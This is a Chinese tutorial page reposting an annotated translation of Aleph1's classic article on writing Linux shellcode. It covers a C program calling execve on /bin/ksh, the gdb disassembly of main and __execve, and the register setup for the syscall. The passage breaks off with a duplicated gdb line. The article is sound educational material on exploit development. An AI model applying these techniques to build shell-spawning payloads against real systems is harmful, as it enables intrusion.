歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> SHELL編程

Linux下的shellcode書寫

  原 作:aleph1 翻譯注釋:warning3 1999/07 驗證修改:scz 2000/01/13 概述: aleph1書寫了這篇經典文章,首先要向他致敬。 tt整理翻譯了它,其次就是要向他表示衷心的感謝。 該篇文章由淺入深地詳細介紹了整個書寫shellcode的步驟, 並給出了圖示幫助理解。文章中涉及到了一些工具的使用, 要求具備匯編語言、編譯原理的基礎知識,如果你對此不 了解的話,我建議你不要看下去,而是應該回頭學習更基礎 的東西。gdb、objdump、vi、gcc等等工具你必須學會使用, 你必須了解call命令、int命令與普通jmp命令的區別所在, 你還應該知道函數從c語言編譯到機器碼時做了什麼工作。 如果所有的這一切都不成問題,你可以開始了。 come on,baby! 測試: RedHat 6.0/Intel PII 目錄: ★ 讓我們開始吧 1. vi shellcode.c 2. gcc -o shellcode -ggdb -static shellcode.c 3. gdb shellcode 4. 研究 main() 函數的匯編代碼 5. 研究 execve() 函數的執行過程 6. vi shellcode_exit.c 7. gcc -o shellcode_exit -static shellcode_exit.c 8. gdb shellcode_exit 9. 研究 exit() 函數的執行過程 10. 整個過程的偽匯編代碼 11. 觀察堆棧分布情況 12. 修改後的偽匯編代碼 13. 調整匯編代碼 14. 觀察當前堆棧 15. vi shellcodeasm.c 16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c 17. gdb shellcodeasm 18. 驗證shellcode 19. 最後的調整 20. 驗證最後調整得到的shellcode ★ 我對shellcode以及這篇文章的看法 1. 你是從DOS年代過來的嗎? 2. 關於文章中的一些技術說明 3. 如何寫Sun工作站上的shellcode? ★ 讓我們開始吧 1. vi shellcode.c #include int main ( int argc, char * argv[] ) { char * name[2]; name[0] = "/bin/ksh"; name[1] = NULL; execve( name[0], name, NULL ); return 0; } 2. gcc -o shellcode -ggdb -static shellcode.c 3. gdb shellcode [scz@ /home/scz/src]> gdb shellcode GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main <-- -- -- 輸入 Dump of assembler code for function main: 0x80481a0 : pushl %ebp 0x80481a1 : movl %esp,%ebp 0x80481a3 : subl $0x8,%esp 0x80481a6 : movl $0x806f308,0xfffffff8(%ebp) 0x80481ad : movl $0x0,0xfffffffc(%ebp) 0x80481b4 : pushl $0x0 0x80481b6 : leal 0xfffffff8(%ebp),%eax 0x80481b9 : pushl %eax 0x80481ba : movl 0xfffffff8(%ebp),%eax 0x80481bd : pushl %eax 0x80481be : call 0x804b9b0 <__execve> 0x80481c3 : addl $0xc,%esp


0x80481c6 : xorl %eax,%eax 0x80481c8 : jmp 0x80481d0 0x80481ca : leal 0x0(%esi),%esi 0x80481d0 : leave 0x80481d1 : ret End of assembler dump. (gdb) disas __execve <-- -- -- 輸入 Dump of assembler code for function __execve: 0x804b9b0 <__execve>: pushl %ebx 0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx 0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx 0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx 0x804b9bd <__execve+13>: movl $0xb,%eax 0x804b9c2 <__execve+18>: int $0x80 0x804b9c4 <__execve+20>: popl %ebx 0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax 0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error> 0x804b9d0 <__execve+32>: ret End of assembler dump. 4. 研究 main() 函數的匯編代碼 0x80481a0 : pushl %ebp # 保存原來的棧基指針 # 棧基指針與堆棧指針不是一個概念 # 棧基指針對應棧底,堆棧指針對應棧頂 0x80481a1 : movl %esp,%ebp # 修改得到新的棧基指針 # 與我們以前在dos下匯編格式不一樣 # 這個語句是說把esp的值賦給ebp # 而在dos下,正好是反過來的,一定要注意 0x80481a3 : subl $0x8,%esp # 堆棧指針向棧頂移動八個字節 # 用於分配局部變量的存儲空間 # 這裡具體就是給 char * name[2] 預留空間 # 因為每個字符指針占用4個字節,總共兩個指針 0x80481a6 : movl $0x806f308,0xfffffff8(%ebp) # 將字符串"/bin/ksh"的地址拷貝到name[0] # name[0] = "/bin/ksh"; # 0xfffffff8(%ebp) 就是 ebp - 8 的意思 # 注意堆棧的增長方向以及局部變量的分配方向 # 先分配name[0]後分配name[1]的空間 0x80481ad : movl $0x0,0xfffffffc(%ebp) # 將NULL拷貝到name[1] # name[1] = NULL; 0x80481b4 : pushl $0x0 # 按從右到左的順序將execve()的三個參數依次壓棧 # 首先壓入 NULL (第三個參數) # 注意pushl將壓入一個四字節長的0 0x80481b6 : leal 0xfffffff8(%ebp),%eax # 將 ebp - 8 本身放入eax寄存器中 # leal的意思是取地址,而不是取值 0x80481b9 : pushl %eax # 其次壓入 name 0x80481ba : movl 0xfffffff8(%ebp),%eax 0x80481bd : pushl %eax # 將 ebp - 8 本身放入eax寄存器中 # 最後壓入 name[0] # 即 "/bin/ksh" 字符串的地址 0x80481be : call 0x804b9b0 <__execve> # 開始調用 execve() # call指令首先會將返回地址壓入堆棧 0x80481c3 : addl $0xc,%esp # esp + 12 # 釋放為了調用 execve() 而壓入堆棧的內容 0x80481c6 : xorl %eax,%eax 0x80481c8 : jmp 0x80481d0 0x80481ca : leal 0x0(%esi),%esi 0x80481d0 : leave 0x80481d1 : ret 5. 研究 execve() 函數的執行過程 Linux在寄存器裡傳遞它的參數給系統調用,用軟件中斷跳到kernel模式(int $0x80) 0x804b9b0 <__execve>: pushl %ebx # ebx壓棧 0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx # 把 esp + 16 本身賦給edx # 為什麼是16,因為棧頂現在是ebx

# 下面依次是返回地址、name[0]、name、NULL # edx --> NULL 0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx # 把 esp + 12 本身賦給 ecx # ecx --> name # 命令的參數數組,包括命令自己 0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx # 把 esp + 8 本身賦給 ebx # ebx --> name[0] # 命令本身,"/bin/ksh" 0x804b9bd <__execve+13>: movl $0xb,%eax # 設置eax為0xb,這是syscall表中的索引 # 0xb對應execve 0x804b9c2 <__execve+18>: int $0x80 # 軟件中斷,轉入kernel模式 0x804b9c4 <__execve+20>: popl %ebx # 恢復ebx 0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax 0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error> # 判斷返回值,報告可能的系統調用錯誤 0x804b9d0 <__execve+32>: ret # execve() 調用返回 # 該指令會用壓在堆棧中的返回地址 從上面的分析可以看出,完成 execve() 系統調用,我們所要做的不過是這麼幾項而已: a) 在內存中有以NULL結尾的字符串"/bin/ksh" b) 在內存中有"/bin/ksh"的地址,其後是一個 unsigned long 型的NULL值 c) 將0xb拷貝到寄存器EAX中 d) 將"/bin/ksh"的地址拷貝到寄存器EBX中 e) 將"/bin/ksh"地址的地址拷貝到寄存器ECX中 f) 將 NULL 拷貝到寄存器EDX中 g) 執行中斷指令int $0x80 如果execve()調用失敗的話,程序將繼續從堆棧中獲取指令並執行,而此時堆棧中的數據 是隨機的,通常這個程序會core dump。我們希望如果execve調用失敗的話,程序可以正 常退出,因此我們必須在execve調用後增加一個exit系統調用。它的C語言程序如下: 6. vi shellcode_exit.c #include int main () { exit( 0 ); } 7. gcc -o shellcode_exit -static shellcode_exit.c 8. gdb shellcode_exit [scz@ /home/scz/src]> gdb shellcode_exit GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disa



[scz@ /home/scz/src]> gdb shellcode_exit GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disa



Copyright © Linux教程網 All Rights Reserved